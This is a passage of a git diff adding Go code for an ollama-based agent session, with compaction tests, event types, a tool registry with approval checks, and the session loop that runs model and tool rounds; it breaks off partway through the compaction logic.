}) + if err != nil { + t.Fatal(err) + } + if !result.Due || !result.Compacted { + t.Fatalf("expected estimate-driven compaction, got %#v", result) + } + if result.Summary != "estimated summary" { + t.Fatalf("summary = %q", result.Summary) + } +} + +func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) { + compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{ + ContextWindowTokens: 100, + Threshold: 0.8, + }} + + if !compactor.shouldCompact(CompactionRequest{ + SystemPrompt: strings.Repeat("system ", 360), + Messages: []api.Message{{Role: "user", Content: "tiny"}}, + }) { + t.Fatal("system prompt should count toward compaction estimate") + } + + if !compactor.shouldCompact(CompactionRequest{ + Messages: []api.Message{{Role: "user", Content: "tiny"}}, + Tools: api.Tools{{ + Type: "function", + Function: api.ToolFunction{ + Name: "verbose_tool", + Description: strings.Repeat("description ", 360), + }, + }}, + }) { + t.Fatal("tool definitions should count toward compaction estimate") + } +} + +func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) { + largeToolOutput := strings.Repeat("x", 10_000) + body, err := compactionPrompt("", []api.Message{ + {Role: "user", Content: "what changed?"}, + {Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "bash", + }, + }}}, + {Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput}, + }, 300) + if err != nil { + t.Fatal(err) + } + if estimateCompactionTokens(body) > 300 { + t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body)) + } + if strings.Count(body, "x") >= len(largeToolOutput) { + t.Fatal("large tool output was not truncated") + } + if !strings.Contains(body, "[tool output truncated: showing first ~") { + t.Fatalf("truncation marker missing from compaction prompt: %q", body) + } +} + +func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) { + alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000) + body, err := compactionPrompt("", []api.Message{ + {Role: "user", Content: "what changed?"}, + {Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "bash", + }, + }}}, + {Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated}, + }, 300) + if err != nil { + t.Fatal(err) + } + if estimateCompactionTokens(body) > 300 { + t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body)) + } + if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 { + t.Fatal("already-truncated tool output was not truncated again") + } + if !strings.Contains(body, "[tool output truncated: showing first ~") { + t.Fatalf("truncation marker missing from compaction prompt: %q", body) + } +} + +func TestCompactionSummaryTextStripsPrefix(t *testing.T) { + content := compactionSummaryMessageForTask("worked on branch changes", false) + if got := CompactionSummaryText(content); got != "worked on branch changes" { + t.Fatalf("summary text = %q", got) + } +} + +func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) { + content := compactionSummaryMessageForTask("worked on branch changes", true) + if !strings.Contains(content, CompactionContinueInstruction) { + t.Fatalf("summary message missing continue instruction: %q", content) + } + if got := CompactionSummaryText(content); got != "worked on branch changes" { + t.Fatalf("summary text = %q", got) + } +} + +func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) { + tests := []struct { + name string + options map[string]any + configured int + want int + }{ + { + name: "explicit smaller num ctx", + options: map[string]any{"num_ctx": 4096}, + configured: 8192, + want: 4096, + }, + { + name: "explicit num ctx can exceed configured metadata", + options: map[string]any{"num_ctx": 131072}, + configured: 8192, + want: 131072, + }, + { + name: "metadata without explicit num ctx", + configured: 32768, + want: 32768, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want { + t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want) + } + }) + } +} + +func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "forced summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.8, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent"}, + }, + Force: true, + }) + if err != nil { + t.Fatal(err) + } + if !result.Due || !result.Compacted { + t.Fatalf("forced compaction result = %#v", result) + } + if result.Summary != "forced summary" { + t.Fatalf("summary = %q", result.Summary) + } +} + +func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 16000, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "one"}, + {Role: "assistant", Content: "one answer"}, + {Role: "user", Content: "two"}, + {Role: "assistant", Content: "two answer"}, + {Role: "user", Content: "three"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + assertCompactionSummaryPair(t, result.Messages[:2]) + if got := result.Messages[2].Content; got != "one" { + t.Fatalf("first kept turn = %q, want one", got) + } +} + +func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "new summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 16000, + KeepUserTurns: 1, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: []api.Message{ + {Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"}, + {Role: "user", Content: "old"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") { + t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content) + } +} + +func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "new summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 16000, + KeepUserTurns: 1, + Threshold: 0.5, + }} + + messages := []api.Message{ + {Role: "user", Content: "kept before old summary"}, + CompactionSummaryMessages("old summary", false)[0], + CompactionSummaryMessages("old summary", false)[1], + {Role: "user", Content: "latest request"}, + } + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: messages, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") { + t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content) + } + if len(result.Messages) != 3 { + t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages) + } + assertCompactionSummaryPair(t, result.Messages[:2]) + if result.Messages[2].Content != "latest request" { + t.Fatalf("kept suffix = %#v", result.Messages) + } +} diff --git a/agent/events.go b/agent/events.go new file mode 100644 index 000000000..88f050a6e --- /dev/null +++ b/agent/events.go @@ -0,0 +1,79 @@ +package agent + +import ( + "context" + + "github.com/ollama/ollama/api" +) + +type EventType string + +const ( + EventMessageDelta EventType = "message_delta" + EventThinkingDelta EventType = "thinking_delta" + EventToolCallDetected EventType = "tool_call_detected" + EventToolStarted EventType = "tool_started" + EventToolFinished EventType = "tool_finished" + EventCompactionStarted EventType = "compaction_started" + EventCompactionProgress EventType = "compaction_progress" + EventCompacted EventType = "compacted" + EventCompactionSkipped EventType = "compaction_skipped" + EventRunFinished EventType = "run_finished" + EventError EventType = "error" +) + +type Event struct { + Type EventType `json:"type"` + RunID string `json:"runId,omitempty"` + ChatID string `json:"chatId,omitempty"` + Model string `json:"model,omitempty"` + Status string `json:"status,omitempty"` + ToolCallID string `json:"toolCallId,omitempty"` + ToolName string `json:"toolName,omitempty"` + WorkingDir string `json:"workingDir,omitempty"` + Content string `json:"content,omitempty"` + Thinking string `json:"thinking,omitempty"` + ToolCalls []api.ToolCall `json:"toolCalls,omitempty"` + Messages []api.Message `json:"messages,omitempty"` + Args map[string]any `json:"args,omitempty"` + Tokens int `json:"tokens,omitempty"` + Error string `json:"error,omitempty"` +} + +type EventSink interface { + Emit(Event) error +} + +type EventSinkFunc func(Event) error + +func (fn EventSinkFunc) Emit(event Event) error { + if fn == nil { + return nil + } + return fn(event) +} + +func (s *Session) emit(event Event) error { + if s == nil { + return nil + } + var firstErr error + for _, sink := range s.EventSinks { + if sink == nil { + continue + } + if err := sink.Emit(event); err != nil && firstErr == nil { + firstErr = err + } + } + return firstErr +} + +func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error { + err := s.emit(event) + if err != nil && ctx != nil && ctx.Err() != nil { + //nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure. + return nil + } + return err +} diff --git a/agent/registry.go b/agent/registry.go new file mode 100644 index 000000000..1882e2fe3 --- /dev/null +++ b/agent/registry.go @@ -0,0 +1,94 @@ +package agent + +import ( + "context" + "fmt" + "sort" + + "github.com/ollama/ollama/api" +) + +type ToolContext struct { + WorkingDir string +} + +type ToolResult struct { + Content string + WorkingDir string +} + +type Tool interface { + Name() string + Description() string + Schema() api.ToolFunction + Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) +} + +type ApprovalRequired interface { + RequiresApproval(map[string]any) bool +} + +type Registry struct { + tools map[string]Tool +} + +func (r *Registry) Register(tool Tool) { + if r == nil || tool == nil { + return + } + if r.tools == nil { + r.tools = make(map[string]Tool) + } + r.tools[tool.Name()] = tool +} + +func (r *Registry) Get(name string) (Tool, bool) { + if r == nil { + return nil, false + } + tool, ok := r.tools[name] + return tool, ok +} + +func (r *Registry) Names() []string { + if r == nil { + return nil + } + names := make([]string, 0, len(r.tools)) + for name := range r.tools { + names = append(names, name) + } + sort.Strings(names) + return names +} + +func (r *Registry) Tools() api.Tools { + names := r.Names() + apiTools := make(api.Tools, 0, len(names)) + for _, name := range names { + tool := r.tools[name] + apiTools = append(apiTools, api.Tool{ + Type: "function", + Function: tool.Schema(), + }) + } + return apiTools +} + +func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) { + tool, ok := r.Get(call.Function.Name) + if !ok { + return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name) + } + return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap()) +} + +func ToolRequiresApproval(tool Tool, args map[string]any) bool { + if tool == nil { + return false + } + if t, ok := tool.(ApprovalRequired); ok { + return t.RequiresApproval(args) + } + return false +} diff --git a/agent/session.go b/agent/session.go new file mode 100644 index 000000000..3d6b1ca2e --- /dev/null +++ b/agent/session.go @@ -0,0 +1,1024 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/google/uuid" + + "github.com/ollama/ollama/api" +) + +type ChatClient interface { + Chat(context.Context, *api.ChatRequest, api.ChatResponseFunc) error +} + +type ApprovalRequest struct { + WorkingDir string + Calls []ApprovalToolCall +} + +type ApprovalToolCall struct { + ToolCallID string + ToolName string + Args map[string]any +} + +type Approval struct { + Allow bool + AllowAll bool + Reason string +} + +type ApprovalPrompter interface { + PromptApproval(context.Context, ApprovalRequest) (Approval, error) +} + +type Session struct { + Client ChatClient + EventSinks []EventSink + Tools *Registry + ApprovalPrompter ApprovalPrompter + AllowAllTools bool + WorkingDir string + Compactor Compactor +} + +type RunOptions struct { + ChatID string + Model string + SystemPrompt string + Messages []api.Message + NewMessages []api.Message + Format string + Options map[string]any + Think *api.ThinkValue + KeepAlive *api.Duration + // MaxToolRounds limits consecutive model/tool cycles. + // Zero uses the default guard; negative disables the guard for tests or + // special callers. + MaxToolRounds int +} + +type RunResult struct { + Messages []api.Message + Latest api.ChatResponse + WorkingDir string +} + +const ( + defaultMaxToolRounds = 100 + maxToolResultRunes = 60000 + smallContextToolResultRunes = 6000 + tinyContextToolResultRunes = 3200 + smallContextToolResultTokenWindow = 8192 + tinyContextToolResultTokenWindow = 4096 + toolTruncationMarkerReserveTokens = 64 + toolOutputFullOmissionPrefix = "[tool output truncated: output omitted because the context is full;" +) + +type toolOutputOverflow struct { + toolName string + toolCallID string + content string +} + +type toolBatchResult struct { + messages []api.Message + stop toolExecutionStop + overflows []toolOutputOverflow +} + +type toolExecutionStop string + +const ( + toolExecutionDenied toolExecutionStop = "denied" + toolExecutionCanceled toolExecutionStop = "canceled" +) + +type runPhase int + +const ( + runPhaseModel runPhase = iota + runPhaseTools + runPhaseCompact + runPhaseDone +) + +type runState struct { + runID string + opts RunOptions + + phase runPhase + + messages []api.Message + latest api.ChatResponse + + assistant api.Message + pendingToolCalls []api.ToolCall + canceled bool + + toolBatch *toolBatchResult + + consecutiveModelErrors int + toolRounds int + maxToolRounds int + compactionSkipNotified bool + + finish runFinish +} + +type runFinish struct { + status string + ignoreCanceled bool + err error +} + +func (st *runState) finishDone() { + st.finish = runFinish{status: "done"} + st.phase = runPhaseDone +} + +func (st *runState) finishDenied() { + st.finish = runFinish{status: "denied"} + st.phase = runPhaseDone +} + +func (st *runState) finishCanceled() { + st.finish = runFinish{status: "canceled", ignoreCanceled: true} + st.phase = runPhaseDone +} + +func (st *runState) finishError(err error) { + st.finish = runFinish{err: err} + st.phase = runPhaseDone +} + +func (s *Session) Run(ctx context.Context, opts RunOptions) (*RunResult, error) { + if s == nil { + return nil, errors.New("nil session") + } + if s.Client == nil { + return nil, errors.New("agent session requires a chat client") + } + if opts.Model == "" { + return nil, errors.New("agent session requires a model") + } + runID := uuid.NewString() + messages := make([]api.Message, 0, len(opts.Messages)+len(opts.NewMessages)) + for _, msg := range opts.Messages { + messages = append(messages, sanitizeMessageForRun(msg)) + } + for _, msg := range opts.NewMessages { + msg = sanitizeMessageForRun(msg) + messages = append(messages, msg) + } + + if err := s.checkPreflightPromptBudget(opts, messages); err != nil { + s.emit(Event{Type: EventError, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()}) + return nil, err + } + + st := runState{ + runID: runID, + opts: opts, + phase: runPhaseModel, + messages: messages, + maxToolRounds: resolvedMaxToolRounds(opts.MaxToolRounds), + } + for { + switch st.phase { + case runPhaseModel: + if err := s.runModelStep(ctx, &st); err != nil { + return nil, err + } + case runPhaseTools: + if err := s.runToolStep(ctx, &st); err != nil { + return nil, err + } + case runPhaseCompact: + if err := s.runCompactionStep(ctx, &st); err != nil { + return &RunResult{Messages: st.messages, Latest: st.latest, WorkingDir: s.WorkingDir}, err + } + case runPhaseDone: + return s.finishRun(ctx, &st) + } + } +} + +func (s *Session) runModelStep(ctx context.Context, st *runState) error { + opts := st.opts + + assistant, pendingToolCalls, canceled, err := s.chatRound(ctx, st.runID, opts, st.messages, &st.latest) + if err != nil { + var statusErr api.StatusError + if errors.As(err, &statusErr) && statusErr.StatusCode >= 500 && st.consecutiveModelErrors < 2 { + st.consecutiveModelErrors++ + st.messages = append(st.messages, api.Message{ + Role: "user", + Content: fmt.Sprintf("Your previous response caused an error: %s\n\nPlease try again with a valid response.", statusErr.ErrorMessage), + }) + return nil + } + s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()}) + return err + } + st.consecutiveModelErrors = 0 + st.assistant = assistant + st.pendingToolCalls = pendingToolCalls + st.canceled = canceled + + if !messageEmpty(assistant) { + st.messages = append(st.messages, assistant) + } + + if len(pendingToolCalls) == 0 { + st.toolBatch = nil + st.phase = runPhaseCompact + return nil + } + + if canceled { + skipped, skipErr := s.skipToolCalls(ctx, st.runID, opts, pendingToolCalls, "Tool execution skipped because the run was canceled.") + if skipErr != nil { + s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()}) + return skipErr + } + st.messages = append(st.messages, skipped...) + st.finishCanceled() + return nil + } + + if s.Tools == nil { + st.finishDone() + return nil + } + + if st.maxToolRounds >= 0 && st.toolRounds >= st.maxToolRounds { + content := fmt.Sprintf("Tool execution skipped because the max tool-round limit of %d was reached. Send another message to continue.", st.maxToolRounds) + toolMessages, skipErr := s.skipToolCalls(ctx, st.runID, opts, pendingToolCalls, content) + if skipErr != nil { + s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()}) + return skipErr + } + st.messages = append(st.messages, toolMessages...) + err := fmt.Errorf("tool round limit reached after %d rounds; send another message to continue", st.maxToolRounds) + s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()}) + st.finishError(err) + return nil + } + + st.phase = runPhaseTools + return nil +} + +func (s *Session) runToolStep(ctx context.Context, st *runState) error { + batch, err := s.executeToolCalls(ctx, st.runID, st.opts, st.messages, st.pendingToolCalls) + if err != nil { + s.emit(Event{Type: EventError, RunID: st.runID, ChatID: st.opts.ChatID, Model: st.opts.Model, Error: err.Error()}) + return err + } + + st.messages = append(st.messages, batch.messages...) + st.toolBatch = &batch + st.phase = runPhaseCompact + return nil +} + +func (s *Session) runCompactionStep(ctx context.Context, st *runState) error { + opts := st.opts + var err error + if st.toolBatch != nil && len(st.toolBatch.overflows) > 0 { + st.messages, st.compactionSkipNotified, err = s.compactForToolOutputOverflow(ctx, st.runID, opts, st.messages, st.latest, st.assistant, st.toolBatch.messages, st.toolBatch.overflows, st.compactionSkipNotified) + } else { + st.messages, st.compactionSkipNotified, err = s.maybeCompact(ctx, st.runID, opts, st.messages, st.latest, st.compactionSkipNotified) + } + if err != nil { + s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()}) + return err + } + + if st.toolBatch == nil { + if st.canceled { + st.finishCanceled() + } else { + st.finishDone() + } + return nil + } + + switch st.toolBatch.stop { + case toolExecutionDenied: + st.finishDenied() + case toolExecutionCanceled: + st.finishCanceled() + default: + st.toolRounds++ + st.assistant = api.Message{} + st.pendingToolCalls = nil + st.toolBatch = nil + st.phase = runPhaseModel + } + return nil +} + +func (s *Session) finishRun(ctx context.Context, st *runState) (*RunResult, error) { + if st.finish.status != "" { + event := Event{Type: EventRunFinished, RunID: st.runID, ChatID: st.opts.ChatID, Model: st.opts.Model, Status: st.finish.status} + var err error + if st.finish.ignoreCanceled { + err = s.emitIgnoringCanceled(ctx, event) + } else { + err = s.emit(event) + } + if err != nil { + return nil, err + } + } + return &RunResult{Messages: st.messages, Latest: st.latest, WorkingDir: s.WorkingDir}, st.finish.err +} + +func (s *Session) chatRound(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest *api.ChatResponse) (api.Message, []api.ToolCall, bool, error) { + requestMessages := sanitizeMessagesForRequest(messages) + if strings.TrimSpace(opts.SystemPrompt) != "" { + withSystem := make([]api.Message, 0, len(requestMessages)+1) + withSystem = append(withSystem, api.Message{Role: "system", Content: opts.SystemPrompt}) + requestMessages = append(withSystem, requestMessages...) + } + + format := opts.Format + if format == "json" { + format = `"` + format + `"` + } + + req := api.ChatRequest{ + Model: opts.Model, + Messages: requestMessages, + Format: json.RawMessage(format), + Options: opts.Options, + Think: opts.Think, + } + if opts.KeepAlive != nil { + req.KeepAlive = opts.KeepAlive + } + if tools := s.availableTools(); len(tools) > 0 { + req.Tools = tools + } + + assistant := api.Message{Role: "assistant"} + var pendingToolCalls []api.ToolCall + + err := s.Client.Chat(ctx, &req, func(response api.ChatResponse) error { + if response.Message.Role != "" { + assistant.Role = response.Message.Role + } + + if response.Message.Content == "" && response.Message.Thinking == "" && len(response.Message.ToolCalls) == 0 { + *latest = response + return nil + } + + if response.Message.Thinking != "" { + assistant.Thinking += response.Message.Thinking + if err := s.emit(Event{Type: EventThinkingDelta, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Thinking: response.Message.Thinking}); err != nil { + return err + } + } + + if response.Message.Content != "" { + assistant.Content += response.Message.Content + if err := s.emit(Event{Type: EventMessageDelta, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Content: response.Message.Content}); err != nil { + return err + } + } + + if len(response.Message.ToolCalls) > 0 { + assistant.ToolCalls = append(assistant.ToolCalls, response.Message.ToolCalls...) + pendingToolCalls = append(pendingToolCalls, response.Message.ToolCalls...) + if err := s.emit(Event{Type: EventToolCallDetected, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, ToolCalls: response.Message.ToolCalls}); err != nil { + return err + } + } + + *latest = response + return nil + }) + if err != nil { + if isContextCanceledError(ctx, err) { + return assistant, pendingToolCalls, true, nil + } + return assistant, pendingToolCalls, false, err + } + + return assistant, pendingToolCalls, false, nil +} + +func (s *Session) executeToolCalls(ctx context.Context, runID string, opts RunOptions, messages []api.Message, calls []api.ToolCall) (toolBatchResult, error) { + batch := toolBatchResult{ + messages: make([]api.Message, 0, len(calls)), + } + projectedMessages := append([]api.Message(nil), messages...) + + type plannedToolCall struct { + call api.ToolCall + tool Tool + toolName string + args map[string]any + workingDir string + } + plans := make([]plannedToolCall, 0, len(calls)) + batchWorkingDir := s.currentWorkingDir() + approvalReq := ApprovalRequest{WorkingDir: batchWorkingDir} + for _, call := range calls { + toolName := call.Function.Name + args := call.Function.Arguments.ToMap() + tool, ok := s.Tools.Get(toolName) + plans = append(plans, plannedToolCall{ + call: call, + tool: tool, + toolName: toolName, + args: args, + workingDir: batchWorkingDir, + }) + if ok && ToolRequiresApproval(tool, args) { + approvalReq.Calls = append(approvalReq.Calls, ApprovalToolCall{ + ToolCallID: call.ID, + ToolName: toolName, + Args: args, + }) + } + } + + if len(approvalReq.Calls) > 0 { + approvalResult, err := s.authorizeToolCalls(ctx, approvalReq) + if err != nil { + if ctx.Err() != nil { + skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls, "Tool execution skipped because the run was canceled.") + if skipErr != nil { + return toolBatchResult{}, skipErr + } + batch.messages = append(batch.messages, skipped...) + batch.stop = toolExecutionCanceled + return batch, nil + } + return toolBatchResult{}, err + } + if !approvalResult.Allow { + content := approvalResult.Reason + if content == "" { + content = "Tool execution denied." + } + for _, plan := range plans { + msg := s.toolMessageForContext(plan.toolName, plan.call.ID, content, opts, projectedMessages) + batch.messages = append(batch.messages, msg) + projectedMessages = append(projectedMessages, msg) + deniedContent := msg.Content + if emitErr := s.emit(Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "denied", ToolCallID: plan.call.ID, ToolName: plan.toolName, Args: plan.args, Content: deniedContent, Error: deniedContent}); emitErr != nil { + return toolBatchResult{}, emitErr + } + } + batch.stop = toolExecutionDenied + return batch, nil + } + } + + for i, plan := range plans { + call := plan.call + toolName := plan.toolName + args := plan.args + if ctx.Err() != nil { + skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i:], "Tool execution skipped because the run was canceled.") + if skipErr != nil { + return toolBatchResult{}, skipErr + } + batch.messages = append(batch.messages, skipped...) + batch.stop = toolExecutionCanceled + return batch, nil + } + if plan.tool == nil { + content := fmt.Sprintf("Error: unknown tool: %s", toolName) + msg := s.toolMessageForContext(toolName, call.ID, content, opts, projectedMessages) + batch.messages = append(batch.messages, msg) + projectedMessages = append(projectedMessages, msg) + content = msg.Content + if toolOutputFullyOmitted(content) { + batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: fmt.Sprintf("Error: unknown tool: %s", toolName)}) + } + if emitErr := s.emit(Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "failed", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: content, Error: fmt.Sprintf("unknown tool: %s", toolName)}); emitErr != nil { + return toolBatchResult{}, emitErr + } + continue + } + + if err := s.emit(Event{Type: EventToolStarted, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "running", ToolCallID: call.ID, ToolName: toolName, WorkingDir: plan.workingDir, Args: args}); err != nil { + return toolBatchResult{}, err + } + + result, err := s.Tools.Execute(ctx, ToolContext{WorkingDir: plan.workingDir}, call) + if err != nil { + rawContent := fmt.Sprintf("Error: %v", err) + msg := s.toolMessageForContext(toolName, call.ID, rawContent, opts, projectedMessages) + batch.messages = append(batch.messages, msg) + projectedMessages = append(projectedMessages, msg) + content := msg.Content + if toolOutputFullyOmitted(content) { + batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: rawContent}) + } + if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "failed", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: content, Error: err.Error()}); emitErr != nil { + return toolBatchResult{}, emitErr + } + if ctx.Err() != nil { + skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i+1:], "Tool execution skipped because the run was canceled.") + if skipErr != nil { + return toolBatchResult{}, skipErr + } + batch.messages = append(batch.messages, skipped...) + batch.stop = toolExecutionCanceled + return batch, nil + } + continue + } + + eventWorkingDir := plan.workingDir + if s.applyToolWorkingDir(result.WorkingDir) { + eventWorkingDir = s.WorkingDir + } + rawContent := result.Content + + msg := s.toolMessageForContext(toolName, call.ID, rawContent, opts, projectedMessages) + batch.messages = append(batch.messages, msg) + projectedMessages = append(projectedMessages, msg) + content := msg.Content + + if toolOutputFullyOmitted(content) { + batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: rawContent}) + } + if err := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "done", ToolCallID: call.ID, ToolName: toolName, WorkingDir: eventWorkingDir, Args: args, Content: content}); err != nil { + return toolBatchResult{}, err + } + if ctx.Err() != nil { + skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i+1:], "Tool execution skipped because the run was canceled.") + if skipErr != nil { + return toolBatchResult{}, skipErr + } + batch.messages = append(batch.messages, skipped...) + batch.stop = toolExecutionCanceled + return batch, nil + } + } + return batch, nil +} + +func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) { + if s == nil || s.AllowAllTools || len(req.Calls) == 0 { + return Approval{Allow: true}, nil + } + if s.ApprovalPrompter == nil { + return Approval{ + Reason: "Tool execution requires approval, but no approval prompter is available.", + }, nil + } + + result, err := s.ApprovalPrompter.PromptApproval(ctx, req) + if err != nil { + return Approval{}, err + } + if result.AllowAll { + result.Allow = true + s.AllowAllTools = true + } + return result, nil +} + +func (s *Session) skipToolCalls(ctx context.Context, runID string, opts RunOptions, calls []api.ToolCall, content string) ([]api.Message, error) { + toolMessages := make([]api.Message, 0, len(calls)) + for _, call := range calls { + toolName := call.Function.Name + args := call.Function.Arguments.ToMap() + msg := toolMessage(toolName, call.ID, content) + toolMessages = append(toolMessages, msg) + if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "skipped", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: msg.Content, Error: msg.Content}); emitErr != nil { + return nil, emitErr + } + } + return toolMessages, nil +} + +func (s *Session) currentWorkingDir() string { + if s.WorkingDir != "" { + return s.WorkingDir + } + wd, err := os.Getwd() + if err != nil { + return "" + } + s.WorkingDir = wd + return s.WorkingDir +} + +func (s *Session) applyToolWorkingDir(next string) bool { + next = strings.TrimSpace(next) + if next == "" { + return false + } + current := s.currentWorkingDir() + nextAbs, err := canonicalSessionPath(next) + if err != nil { + return false + } + if current == nextAbs { + return false + } + s.WorkingDir = nextAbs + return true +} + +func canonicalSessionPath(path string) (string, error) { + abs, err := filepath.Abs(path) + if err != nil { + return "", err + } + resolved, err := filepath.EvalSymlinks(abs) + if err == nil { + return resolved, nil + } + return abs, nil +} + +func isContextCanceledError(ctx context.Context, err error) bool { + if err == nil { + return false + } + if errors.Is(err, context.Canceled) { + return true + } + return ctx != nil && errors.Is(ctx.Err(), context.Canceled) && strings.Contains(err.Error(), "context canceled") +} + +func (s *Session) maybeCompact(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse, skipNotified bool) ([]api.Message, bool, error) { + if s.Compactor == nil { + return messages, skipNotified, nil + } + req := s.compactionRequest(runID, opts, messages, latest) + trigger := s.autoCompactionTrigger(req) + if trigger != "" { + s.emitCompactionStarted(runID, opts, trigger) + } + result, err := s.Compactor.MaybeCompact(ctx, req) + if err != nil { + if result.Due && !skipNotified { + if trigger == "" { + trigger = "error" + } + s.emitCompactionSkipped(runID, opts, trigger, result.Reason) + skipNotified = true + } + return messages, skipNotified, nil + } + if !result.Compacted { + if result.Due && !skipNotified { + if trigger == "" { + trigger = "due" + } + 